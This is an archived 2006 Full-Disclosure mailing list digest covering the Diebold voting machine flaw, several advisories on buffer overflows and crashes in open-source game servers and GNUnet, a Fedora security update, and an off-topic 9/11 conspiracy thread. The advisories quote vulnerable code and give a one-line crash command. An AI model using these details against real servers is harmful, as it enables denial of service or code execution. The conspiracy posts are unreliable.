telltale signs of the change.

"I think it's the most serious thing I've heard to date," said Johns
Hopkins University computer science professor Avi Rubin, who
published the first security analysis of Diebold voting software in
2003. "Even describing why I think it's serious is dangerous. This is
something that's so easy to do that if the public were to hear about
it, it would raise the risk of someone doing it. ... This is the
worst-case scenario, almost."

Diebold representatives acknowledged the security hole to
Pennsylvania elections officials in a May 1 memo but said the
"probability for exploiting this vulnerability to install
unauthorized software that could affect an election is considered
low."

California elections officials echoed that assessment Friday in a
message to county elections chiefs.

But several computer scientists said Wednesday that those judgments
are founded on the mistaken assumption that taking advantage of the
security hole would require access to voting machines for a long
time.

"I don't know anyone who considers two minutes lengthy, if it's
that," said Michael Shamos, a Carnegie Mellon University computer
science professor and veteran voting-systems examiner for the state
of Pennsylvania.

"It's the most serious security breach that's ever been discovered in
a voting system. On this one, the probability of success is extremely
high because there's no residue. ... Any kind of cursory inspection
of the machine would not reveal it."

States using Diebold touch screens are "going to have to fix it
because they can't have an election without having a fix to this," he
said. Otherwise, states risk challenges from losing candidates while
being unable to prove easily that the machines worked as designed.

At least two states - Pennsylvania and California - have ordered
tighter security and reprogramming of all Diebold touch screens,
using software supplied by the state and a method opened by the
security hole. Local elections officials then must seal certain
openings on the machines with tamper-evident tape.

David Wagner, an assistant professor of computer-science at the
University of California, Berkeley and a technical adviser to the
California secretary of state's office, said the new measures should
minimize risks in the June 6 primary.

Elections officials in Georgia, which uses Diebold touch screens
statewide, said existing state rules already are sufficient.

Bev Harris, founder of BlackBoxVoting.org, a nonprofit group critical
of electronic voting, said she isn't sure reprogramming and sealing
the touch screens will fix the problem.

Voting machines often are delivered to polling places several days
before elections, and the outside case of Diebold's touch screens is
secured by common Phillips screws. Inside, a hacker can take
advantage of the security hole, as well as access other security
holes, without disturbing the tamper-evident seals, Harris said.

"Ultimately, there's no way to get rid of the huge security flaws in
the design," she said.

© 2000-2006 ANG Newspapers

---
Stuart Udall
stuart [EMAIL PROTECTED] net - http://www.cyberdelix.net/

---
 * Origin: lsi: revolution through evolution (192:168/0.2)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] **LosseChange::Debunk it??**

Research resources:
ttp://whatreallyhappened.com/wrh_9-11_index.html
http://www.st911.org/ - Scholars for 9/11 Truth

http://www.911inplanesite.com/ -  DVD/Video production of some of the most 
damning evidence surrounding the attack on the Pentagon centers about 
substantial and incontrovertible video and photographic evidence which insights 
viewers to ask crucial and essential questions.  After all, the laws of physics 
cannot be suspended or can they?



--- [EMAIL PROTECTED] wrote:

From: [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] **LosseChange::Debunk it??**
Date: Thu, 11 May 2006 21:27:39 +0200

OK, the video shows a lot of nonsense "facts". I'm not  an aviation engineer, 
but technical educated. I don't think that there where real explosions when 
the towers went down, but I did not hear any verifyable clarification about 
the impact in the pentagon.

This is the part, which makes me distrustful.

So, if possible - does anyone have an explanation about the pentagon impact as 
shown in the video?

Regards,
Eisi



On Thursday 11 May 2006 02:19, Morning Wood wrote:
> the only "fact" worth investigating in this is the sales of stocks leading
> up to 911.
>   viewed from a technical standpoint on the pentagon attack and the towers
> collapse... well this is just pure bullshit. anyone with basic physics and
> any amount of avation experience can see the author is absolutly clueless
> in regards to these technical points.
>
> my2bits,
> MW
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

http://www.911inplanesite.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] **LosseChange::Debunk it??**

[Micheal Espinola Jr]

I own a copy of .  No matter
what your position or level of interest,  I recommend you rent or buy
this before considering acknowledging that..

On 5/12/06, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:

Research resources:
ttp://whatreallyhappened.com/wrh_9-11_index.html
http://www.st911.org/ - Scholars for 9/11 Truth

http://www.911inplanesite.com/ -  DVD/Video production of some of the most 
damning evidence surrounding the attack on the Pentagon centers about 
substantial and incontrovertible video and photographic evidence which insights 
viewers to ask crucial and essential questions.  After all, the laws of physics 
cannot be suspended or can they?



--- [EMAIL PROTECTED] wrote:

From: [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] **LosseChange::Debunk it??**
Date: Thu, 11 May 2006 21:27:39 +0200

OK, the video shows a lot of nonsense "facts". I'm not  an aviation engineer,
but technical educated. I don't think that there where real explosions when
the towers went down, but I did not hear any verifyable clarification about
the impact in the pentagon.

This is the part, which makes me distrustful.

So, if possible - does anyone have an explanation about the pentagon impact as
shown in the video?

Regards,
Eisi



On Thursday 11 May 2006 02:19, Morning Wood wrote:
> the only "fact" worth investigating in this is the sales of stocks leading
> up to 911.
>   viewed from a technical standpoint on the pentagon attack and the towers
> collapse... well this is just pure bullshit. anyone with basic physics and
> any amount of avation experience can see the author is absolutly clueless
> in regards to these technical points.
>
> my2bits,
> MW
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

http://www.911inplanesite.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/




--
ME2

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Scientists Call Diebold Security Flaw 'Worst Ever'

[bkfsec]

lsi wrote:

[I don't agree with the Professor, when he asserts that the best 
treatment for this problem is denial.  I suggest that the best 
treatment for this problem is dissemination, far and wide, so that 
the broadest range of pressures is brought to bear. - Stu]


http://www.commondreams.org/headlines06/0511-11.htm

Published on Thursday, May 11, 2006 by Inside Bay Area 


Scientists Call Diebold Security Flaw 'Worst Ever'

Critics say hole created for upgrades could be exploited by someone 
with nefarious plans


by Ian Hoffman


Computer scientists say a security hole recently found in Diebold 
Election Systems' touch-screen voting machines is the "worst ever" in 
a voting system. 

 

And now is the appropriate time to remind people that in 2003 Walden 
O'Dell, CEO of Diebold at the time, said publicly that he was "committed 
to helping Ohio deliver its electoral votes to the president next year."


And what we have is a series of vulnerabilities discovered, the latest 
of which represents a mistake that a first year CSE student probably 
wouldn't make on a project of this magnitude.  Folks, people make 
mistakes... this particular one, though, is such a blatantly stupid 
mistake that it can't possibly have survived a design process without 
being intentional.


There are no coincidences here.  There are only two possibilities: These 
holes are intentional, or Diebold as a company is run as well as the 
administration it supports.


Either way, it's time for the states to dump Diebold as a supplier and 
return to verifiable methods of voting.


-bkfsec


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Scientists Call Diebold Security Flaw 'Worst Ever'

[Simon Roberts]

I love the suggestion that the "probability for exploiting this
vulnerability to install unauthorized software that could affect an
election is considered low."

Does low mean perhaps one-in-a-million? Hmm, how many registered voters
are there in the country?

Sheesh!

--- lsi <[EMAIL PROTECTED]> wrote:

> [I don't agree with the Professor, when he asserts that the best
> treatment for this problem is denial.  I suggest that the best
> treatment for this problem is dissemination, far and wide, so that
> the broadest range of pressures is brought to bear. - Stu]
> 
> http://www.commondreams.org/headlines06/0511-11.htm
> 
> Published on Thursday, May 11, 2006 by Inside Bay Area
> 
> Scientists Call Diebold Security Flaw 'Worst Ever'
> 
> Critics say hole created for upgrades could be exploited by someone
> with nefarious plans
> 
> by Ian Hoffman
> 
> 
> Computer scientists say a security hole recently found in Diebold
> Election Systems' touch-screen voting machines is the "worst ever" in
> a voting system.
> 
> Election officials from Iowa to Maryland have been rushing to limit
> the risk of vote fraud or disabled voting machines since the hole was
> reported Wednesday.
> 
> Scientists, who have conferred with Diebold representatives, said
> Diebold programmers created the security hole intentionally as a
> means of quickly upgrading voting software on its electronic voting
> machines.
> 
> The hole allows someone with a common computer component and
> knowledge of Diebold systems to load almost any software without a
> password or proof of authenticity and potentially without leaving
> telltale signs of the change.
> 
> "I think it's the most serious thing I've heard to date," said Johns
> Hopkins University computer science professor Avi Rubin, who
> published the first security analysis of Diebold voting software in
> 2003. "Even describing why I think it's serious is dangerous. This is
> something that's so easy to do that if the public were to hear about
> it, it would raise the risk of someone doing it. ... This is the
> worst-case scenario, almost."
> 
> Diebold representatives acknowledged the security hole to
> Pennsylvania elections officials in a May 1 memo but said the
> "probability for exploiting this vulnerability to install
> unauthorized software that could affect an election is considered
> low."
> 
> California elections officials echoed that assessment Friday in a
> message to county elections chiefs.
> 
> But several computer scientists said Wednesday that those judgments
> are founded on the mistaken assumption that taking advantage of the
> security hole would require access to voting machines for a long
> time.
> 
> "I don't know anyone who considers two minutes lengthy, if it's
> that," said Michael Shamos, a Carnegie Mellon University computer
> science professor and veteran voting-systems examiner for the state
> of Pennsylvania.
> 
> "It's the most serious security breach that's ever been discovered in
> a voting system. On this one, the probability of success is extremely
> high because there's no residue. ... Any kind of cursory inspection
> of the machine would not reveal it."
> 
> States using Diebold touch screens are "going to have to fix it
> because they can't have an election without having a fix to this," he
> said. Otherwise, states risk challenges from losing candidates while
> being unable to prove easily that the machines worked as designed.
> 
> At least two states - Pennsylvania and California - have ordered
> tighter security and reprogramming of all Diebold touch screens,
> using software supplied by the state and a method opened by the
> security hole. Local elections officials then must seal certain
> openings on the machines with tamper-evident tape.
> 
> David Wagner, an assistant professor of computer-science at the
> University of California, Berkeley and a technical adviser to the
> California secretary of state's office, said the new measures should
> minimize risks in the June 6 primary.
> 
> Elections officials in Georgia, which uses Diebold touch screens
> statewide, said existing state rules already are sufficient.
> 
> Bev Harris, founder of BlackBoxVoting.org, a nonprofit group critical
> of electronic voting, said she isn't sure reprogramming and sealing
> the touch screens will fix the problem.
> 
> Voting machines often are delivered to polling places several days
> before elections, and the outside case of Diebold's touch screens is
> secured by common Phillips screws. Inside, a hacker can take
> advantage of the security hole, as well as access other security
> holes, without disturbing the tamper-evident seals, Harris said.
> 
> "Ultimately, there's no way to get rid of the huge security flaws in
> the design," she said.
> 
> � 2000-2006 ANG Newspapers
> 
> ---
> Stuart Udall
> stuart [EMAIL PROTECTED] net - http://www.cyberdelix.net/
> 
> ---
>  * Origin: lsi: revolution through evolution (192:168/0.2)
> 
> ___

[Full-disclosure] RE: How secure is software X?

[Ferguson, Justin (IARC)]

David,

One thing you have to keep in mind is that a lot of things are incredibly
variable when dealing with this subject. For instance, suppose you want to
ensure that the URI in a web server is not overflowable. So you test with
something like

GET /[A x 4096] HTTP/1.1
Host: foobar.com
Connection: close

This is all fine and well, unless at 8192 is where the overflow takes place,
or if I can stick as many characters as I want in, so long as I am using
HTTP 1.1 and not HTTP 0.9, or if I am using HTTP/1.1 and Host doesn't
contain a 36 backslashes, et cetera.

This is generally why fuzzing is mostly inconclusive because it often misses
a lot of conditions and you have essentially assured nothing. Without
in-depth analysis of each software package you are basically pushing snake
oil. There are just far too many variables to really standardize such a
thing.


Best Regards,

Justin Ferguson
Reverse Engineer
NNSA IARC
702.942.2539

"It is a capital mistake to theorize before one has data. Insensibly one
begins to twist facts to suit theories, instead of theories to suit facts."
-- Sir Arthur Conan Doyle

> -Original Message-
> From: Adam Shostack [mailto:[EMAIL PROTECTED] 
> Sent: Friday, May 12, 2006 11:35 AM
> To: David Litchfield
> Cc: bugtraq@securityfocus.com; 
> full-disclosure@lists.grok.org.uk; 
> [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: Re: How secure is software X?
> 
> 
> Hi David,
> 
> Very briefly because I'm swamped today:  Please consider 
> bringing some of this to Metricon
> (https://securitymetrics.org/content/Wiki.jsp?page=Welcome)
> 
> Also there's a project of US DHS/NIST and probably others 
> called SAMATE Software Assurance Metrics and Tool Evaluation 
> http://samate.nist.gov/index.php/Main_Page
> 
> which might be of interest.
> 
> Adam
> 
> On Fri, May 12, 2006 at 02:59:17AM +0100, David Litchfield wrote:
> | How secure is software X?
> | 
> | At least as secure as Vulnerability Assessment Assurance 
> Level P; or Q 
> | or
> | R. Well, that's what I think we should be able to say. What 
> we need is an 
> | open standard, that has been agreed upon by recognized 
> experts, against 
> | which the absence of software security vulnerability can be 
> measured - 
> | something which improves upon the failings of the Common 
> Criteria. Let's 
> | choose web server software as an example. When looking for 
> flaws in a new 
> | piece of web server software there are a bunch of well 
> known checks that 
> | one would throw at it first. Try directory traversal 
> attacks and the 
> | several variations. Try overflowing the request method, the 
> URI, the query 
> | string, the host header field and so on. Try cross site 
> scripting attacks 
> | in server error pages and file not found messages. As I 
> said, there's a 
> | bunch of checks and I've mentioned but a few. If these were 
> all written 
> | down and labelled with as a "standard" then one could say 
> that web server 
> | software X is at least as secure as the standard - 
> providing of course the 
> | server stands up.
> | 
> | For products that are based upon RFCs it would be trivial 
> to write a 
> | simple
> | criteria that tests every aspect of the software as per the 
> RFCs. This 
> | would be called Vulnerability Assessment Assurance Level: 
> Protocol. If a 
> | bit of software was accredited at VAAL:Protocol  then it 
> would given a 
> | level of assurance that it at least stood up to those attacks.
> | 
> | Not all products are RFC compliant however. Sticking with 
> web servers, 
> | one
> | bit of software might have a bespoke request method of 
> "FOOBAR". This opens 
> | up a whole new attack surface that's not covered by the 
> VAAL:Protocol 
> | standard. There are two aspects to this. Anyone with a 
> firewall capable of 
> | blocking non-RFC compliant requests could configure it to 
> do so - thus 
> | closing off the attack surface - from the outside at least. 
> As far as the 
> | standards go however - you'd have to introduce criteria to 
> cover that 
> | specific functionality. And what about different 
> application environments 
> | running on top of the web server? And what about more 
> complex products such 
> | as database servers? I suppose at a minimum for DB software 
> you could at 
> | least have a standard that simply checks if the server 
> falls to a long 
> | username or password buffer overflow attempt and then fuzz 
> SQL-92 language 
> | elements. It certainly makes standardization much more 
> difficult but I 
> | think by no means impossible.
> | 
> | Clearly, what is _easy_ is writing and agreeing upon a VAAL:Protocol
> | standard for many different types of servers. You could 
> then be assured 
> | that any server that passes is at least as secure as 
> VAAL:Protocol and for 
> | those looking for more "comfort" then they can at least 
> block non-RFC 
> | compliant traffic.
> | 
> | Having had a chat with Steve Christey about this earlier 
> today I know 

[Full-disclosure] Multiple vulnerabilities in Raydium rev 309

[Luigi Auriemma]

###

 Luigi Auriemma

Application:  Raydium
  http://raydium.org
Versions: <= SVN revision 309
  (newer versions can be vulnerable to some of the bugs
  which are still unfixed)
Platforms:Windows, *nix, *BSD and others
Bugs: A] buffer-overflow in raydium_log and
 raydium_console_line_add
  B] format string in raydium_log
  C] NULL function pointer in raydium_network_netcall_exec
  D] buffer-overflow and invalid memory access in
 raydium_network_read
Exploitation: A] remote, versus server and client
  B] remote, versus server and client
  C] remote, versus server and client
  D] remote, versus client
Date: 12 Maj 2006
Author:   Luigi Auriemma
  e-mail: [EMAIL PROTECTED]
  web:aluigi.org


###


1) Introduction
2) Bugs
3) The Code
4) Fix


###

===
1) Introduction
===


Raydium is a complete open source game engine with multiplayer support
and many other important and interesting features.


###

===
2) Bugs
===

--
A] buffer-overflow in raydium_log and raydium_console_line_add
--

The logging function of Raydium is very used in all the engine.
For example everytime a client tries to join the server it logs the
event in the console:

  raydium_log("network: client %i connected as 
%s"/*,inet_ntoa(from->sin_addr)*/,n,name);

This useful function is affected by a buffer-overflow bug where the
local buffer str of 255 (RAYDIUM_MAX_NAME_LEN) bytes is filled using
the unsecure sprintf function.
The size of the input packet is 512 (RAYDIUM_NETWORK_PACKET_SIZE)
bytes of which 508 are available for the text to use for exploiting the
vulnerability.

  From raydium/log.c:

// need to be secured
void raydium_log(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;


va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

printf("Raydium: %s\n",str);
if(raydium_log_file) fprintf(raydium_log_file,"%s\n",str);
raydium_console_line_add(str);
}


Similar thing for raydium_console_line_add:

  From raydium/console.c:

// need to secure this one too
void raydium_console_line_add(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;
va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

raydium_console_line_last++;
if(raydium_console_line_last>=RAYDIUM_CONSOLE_MAX_LINES)
   raydium_console_line_last=0;

strcpy(raydium_console_lines[raydium_console_line_last],str);
}


---
B] format string in raydium_log
---

The same raydium_log function described above is affected also by a
format string vulnerability caused by the calling of
raydium_console_line_add passing directly the text string without the
required format argument:

  raydium_console_line_add(str);



C] NULL function pointer in raydium_network_netcall_exec


The function raydium_network_netcall_exec is called by
raydium_network_read for selecting the specific function to use for
handling the type of packet received.
The raydium_network_netcall_type array is initialized with the type -1
so if the attacker uses the type 0xff the function will try to call
raydium_network_netcall_func which is still initialized with a NULL
pointer.
The effect is the crash of the program.

>From raydium/network.c:

...
for(i=0;iFrom raydium/network.c:

signed char raydium_network_read(int *id, signed char *type, char *buff)
...
strcpy(raydium_network_server_list[slot].name,name);
...
strcpy(raydium_network_server_list[slot].info,info);
...
i=buff[RAYDIUM_NETWORK_PACKET_OFFSET];
strcpy(raydium_network_name[i],buff+RAYDIUM_NETWORK_PACKET_OFFSET+1);
...


###

===
3) The Code
===


http://aluigi.org/poc/raydiumx.zip


###

==
4) Fix
==


Some of the bugs have been fixed in the current SVN and the others will
be fixed soon.


###


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://

[Full-disclosure] Buffer-overflow and NULL pointer crash in Genecys 0.2

[Luigi Auriemma]

###

 Luigi Auriemma

Application:  Genecys
  http://www.genecys.org
Versions: <= 0.2 and current CVS
Platforms:*nix and *BSD
Bugs: A] tell_player_surr_changes buffer-overflow
  B] parse_command NULL pointer crash
Exploitation: remote, versus server
Date: 12 May 2006
Author:   Luigi Auriemma
  e-mail: [EMAIL PROTECTED]
  web:aluigi.org


###


1) Introduction
2) Bugs
3) The Code
4) Fix


###

===
1) Introduction
===


Genecys is an open source MMORPG project.


###

===
2) Bugs
===

---
A] tell_player_surr_changes buffer-overflow
---

The function tell_player_surr_changes is affected by a buffer-overflow
which could allow an attacker to execute malicious code.
The problem is caused by the usage of sprintf and strcat on buffers of
256 bytes.

>From server/player.c:

int tell_player_surr_changes(event_t *event)
{
pl_known_t *known, *knext;
object_t *obj;
char buf[256], buf2[256],b2[40];

obj = event->initiator;

for (known=TAILQ_FIRST(&obj->pl->known); known != NULL; known = knext) {
knext = TAILQ_NEXT(known, next);
if (!event->action)
known->lu--;
if (known->bits > 0) {
sprintf(buf, "chob id:%s", uid_sprint(b2, &known->uid));
if (known->bits & PLKN_NROF) {
sprintf(buf2, " nrof:%d", known->nrof);
strcat(buf, buf2);
}
if (known->bits & PLKN_STATE) {
sprintf(buf2, " st:%d", known->state);
strcat(buf, buf2);
}
if (known->bits & PLKN_NAME) {
sprintf(buf2, " nm:\"%s\"", known->name);
strcat(buf, buf2);
}
if (known->bits & PLKN_NAMEPL) {
sprintf(buf2, " nmp:\"%s\"", known->name_pl);
strcat(buf, buf2);
}
if (known->bits & PLKN_MODEL) {
sprintf(buf2, " mdl:\"%s\"", known->model);
strcat(buf, buf2);
}
...

Note: has not been possible to test this bug in practice due to some
problems while running my test server.


---
B] parse_command NULL pointer crash
---

The function which parses the commands sent by the client doesn't check
the return value of a strchr call used for parsing the commands and
their values (CMD:VAL).
If the attacker doesn't use the ':' char the server will crash due to
the access to a NULL pointer.

>From common/netparser.c:

pargs_t *parse_command(char **words, int *command, int count)
{
argtable_t *asp, dummy;
char *cp, *tmp, *p;
size_t span;
...
args = safer_malloc(sizeof(pargs_t)*numargs);
cur = 0;
for (i=1; i < count && words[i] != NULL && *words[i]; i++) {
span = strcspn(words[i], ":");
tmp = strchr(words[i], ':');
tmp++;
...


###

===
3) The Code
===


http://aluigi.org/poc/genecysbof.zip


###

==
4) Fix
==


No fix.
No reply from the developers... the game seems no longer supported.


###


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Server crash in Empire 4.3.2

[Luigi Auriemma]

###

 Luigi Auriemma

Application:  Empire
  http://www.wolfpackempire.com
  http://sourceforge.net/projects/empserver
Versions: <= 4.3.2
Platforms:Windows, *nix, *BSD and more
Bug:  crash caused by strncat misuse
Exploitation: remote, versus server
Date: 12 May 2006
Author:   Luigi Auriemma
  e-mail: [EMAIL PROTECTED]
  web:aluigi.org


###


1) Introduction
2) Bug
3) The Code
4) Fix


###

===
1) Introduction
===


Empire is a well known multiplayer Internet war game.


###

==
2) Bug
==


The bug is a server's crash caused by the access to an invalid zone of
the memory.
That happens due to the misuse of strncat in the client_cmd function
for adding the text strings sent by the attacker to the player->client
buffer.

>From lib/player/login.c:

static int
client_cmd(void)
{
int i;

if (!player->argp[1])
return RET_SYN;

for (i = 1; player->argp[i]; ++i) {
if (i > 1)
strncat(player->client, " ", sizeof(player->client) - 1);
strncat(player->client, player->argp[i], sizeof(player->client) - 1);
}
player->client[sizeof(player->client) - 1] = '\0';
pr_id(player, C_CMDOK, "talking to %s\n", player->client);
return RET_OK;
}


###

===
3) The Code
===


http://aluigi.org/poc/empiredos.zip


###

==
4) Fix
==


Current CVS has been patched.
Anyway the following is the diff created by the developers:

--- login.c.~1.37.~ 2006-04-26 20:50:40.0 +0200
+++ login.c 2006-05-09 08:36:04.0 +0200
@@ -133,17 +133,23 @@ player_login(void *ud)
 static int
 client_cmd(void)
 {
-int i;
+int i, sz;
+char *p, *end;
 
 if (!player->argp[1])
return RET_SYN;
 
+p = player->client;
+end = player->client + sizeof(player->client) - 1;
 for (i = 1; player->argp[i]; ++i) {
if (i > 1)
-   strncat(player->client, " ", sizeof(player->client) - 1);
-   strncat(player->client, player->argp[i], sizeof(player->client) - 1);
+   *p++ = ' ';
+   sz = strlen(player->argp[i]);
+   sz = MIN(sz, end - p);
+   memcpy(p, player->argp[i], sz);
+   p += sz;
 }
-player->client[sizeof(player->client) - 1] = '\0';
+*p = 0;
 pr_id(player, C_CMDOK, "talking to %s\n", player->client);
 return RET_OK;
 }


###


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Multiple vulnerabilities in Outgun 1.0.3 bot 2

[Luigi Auriemma]

###

 Luigi Auriemma

Application:  Outgun
  http://koti.mbnet.fi/outgun/
Versions: <= 1.0.3 bot 2
Platforms:Windows, *nix, *BSD and more
Bugs: A] data_file_request buffer-overflow
  B] exception with big data
  C] invalid memory access in messages handling
  D] harmless buffer-overflow on a global variable in
 changeRegistration
Exploitation: remote, versus server
Date: 12 May 2006
Author:   Luigi Auriemma
  e-mail: [EMAIL PROTECTED]
  web:aluigi.org


###


1) Introduction
2) Bugs
3) The Code
4) Fix


###

===
1) Introduction
===


Outgun is an open source 2D capture-the-flag game with multiplayer
support for LAN and Internet through a centralized master server.


###

===
2) Bugs
===


A] data_file_request command buffer-overflow


The game supports the downloading of map files directly from the server
in which the clients want to play.
The request for the downloading of the map is composed by the command
data_file_request and two text strings for the type and name of the
requested file.
The buffers in which the server stores these two strings have a size of
64 and 256 bytes and the function readString doesn't check the length
of the destination buffer during the copying.

>From src/servnet.cpp:

void ServerNetworking::incoming_client_data(int id, char *data, int length) {
...
else if (code == data_file_request) {
char ftype[64];
char fname[256];
readString(msg, count, ftype);
readString(msg, count, fname);
...


--
B] exception with big data
--

The leetnet functions used in the game for handling the packets
automatically raise an exception (throw) if a data bigger than 512
(DATA_BUF_SIZE) bytes is received.
The effect is the immediate interruption of the game.

>From src/leetnet/rudp.cpp:

class data_ci : public data_c {
public:

//allocated length, used length
int alen, ulen;

//data buffer
char buf[DATA_BUF_SIZE];

//extend buffer to fit additional len
void extend(int len) {
if (len + ulen > DATA_BUF_SIZE) {
throw 66677;
}
...


-
C] invalid memory access in messages handling
-

The leetnet functions support a maximum amount of 64 messages in each
incoming packet but no checks are made for avoiding the reading of the
unallocated memory after the packet if an attacker uses wrong message
sizes.

>From src/leetnet/rudp.cpp:

virtual char* process_incoming_packet(int *size, bool *special) {
...
NLulong msgid;
NLshort msgsize;
for (i=0; iadd_reliable(msgid, (udp_data + count), msgsize);  //data
}
...


--
D] harmless buffer-overflow on a global variable in changeRegistration
--

changeRegistration is the function for handling the changing of the
registration informations of the clients.
This function uses strcpy for copying the client's token in a buffer of
64 bytes located in the global array of the clients informations.
During my tests (limited by the problem described in bug B) was not
possible to exploit this bug for crashing the server but I was only
able to modify some of the informations of the other players in the
server.

>From src/servernet.cpp:

bool Server::changeRegistration(int id, const string& token) {
const int intoken = atoi(token.c_str());
if (intoken == client[id].intoken)
return false;

// v0.4.9 FIX : IF HAD previous token have/valid, then FLUSH his stats
network.client_report_status(id);

strcpy(client[id].token, token.c_str());
...


###

===
3) The Code
===


http://aluigi.org/poc/outgunx.zip


###

==
4) Fix
==


Some of the bugs will be fixed in the next "bot" release.


###


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Socket unreachable in GNUnet rev 2780

[Luigi Auriemma]

###

 Luigi Auriemma

Application:  GNUnet
  http://www.gnunet.org
Versions: <= 0.7.0d and revision 2780
Platforms:Windows, *nix, *BSD, Mac and more
Bug:  UDP socket unreachable
Exploitation: remote
Date: 12 May 2006
Author:   Luigi Auriemma
  e-mail: [EMAIL PROTECTED]
  web:aluigi.org


###


1) Introduction
2) Bug
3) The Code
4) Fix


###

===
1) Introduction
===


>From the website:
"GNUnet is a framework for secure peer-to-peer networking that does not
use any centralized or otherwise trusted services. A first service
implemented on top of the networking layer allows anonymous
censorship-resistant file-sharing."


###

==
2) Bug
==


The asynchronous mode used for the UDP socket is handled through
FIONREAD.
If an empty UDP packet (zero bytes) is received the program enters in
an endless loop where other UDP packets cannot handled and the CPU
reaches the 100% of usage.

More info about this specific bug are available here:

  http://aluigi.org/adv/socket_unreachable_info.txt


###

===
3) The Code
===


http://aluigi.org/testz/udpsz.zip

  udpsz 127.0.0.1 2068 0


###

==
4) Fix
==


SVN revision 2781.


###


--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Re: How secure is software X?

[Paul B. Saitta]

On Fri, May 12, 2006 at 02:59:17AM +0100, David Litchfield wrote:
> How secure is software X?
> 
> At least as secure as Vulnerability Assessment Assurance Level P; or Q or 
> R. Well, that's what I think we should be able to say. What we need is an 
> open standard, that has been agreed upon by recognized experts, against 
> which the absence of software security vulnerability can be measured - 
> something which improves upon the failings of the Common Criteria.

The Trike threat modeling methodology has as it's goal being able to produce
exactly this kind of formal model of software risk -- models which have a high
degree of real world relevancy, can be reliably generated by multiple teams,
and compared across both different applications and different versions of an
application.

We're strongest right now on architectural level issues; the further into
the details of the implementation, the more complex the model becomes,
obviously.  That said, formal threat models provide a solid analysis
foundation to build on, and can work nicely with either automated test suites
or more ad-hoc methods, including heuristics like previous bugs filed, number
of code audits, etc.

You can find a bit more at www.octotrike.org, but we've taken some pretty big
steps from the work that's documented there.

/P.

-- 
Ideas are my favorite toys.


pgpZmjjghGFYZ.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [FLSA-2006:152868] Updated tetex packages fix security issues

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated tetex packages fix security issues
Advisory ID:   FLSA:152868
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2004-0888 CVE-2004-1125 CVE-2005-3191
   CVE-2005-3192 CVE-2005-3193 CVE-2005-3624
   CVE-2005-3625 CVE-2005-3626 CVE-2005-3627
   CVE-2005-3628
-


-
1. Topic:

Updated tetex packages that fix several security issues are now
available.

TeTeX is an implementation of TeX. TeX takes a text file and a set of
formatting commands as input and creates a typesetter-independent .dvi
(DeVice Independent) file as output.

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386
Fedora Core 2 - i386

3. Problem description:

A number of integer overflow bugs that affect Xpdf were discovered. The
teTeX package contains a copy of the Xpdf code used for parsing PDF
files and is therefore affected by these bugs. The Common
Vulnerabilities and Exposures project (cve.mitre.org) has assigned the
names CVE-2004-0888 and CVE-2004-1125 to these issues.

Several flaws were discovered in the teTeX PDF parsing library. An
attacker could construct a carefully crafted PDF file that could cause
teTeX to crash or possibly execute arbitrary code when opened. The
Common Vulnerabilities and Exposures project assigned the names
CVE-2005-3191, CVE-2005-3192, CVE-2005-3193, CVE-2005-3624,
CVE-2005-3625, CVE-2005-3626, CVE-2005-3627 and CVE-2005-3628 to these
issues.

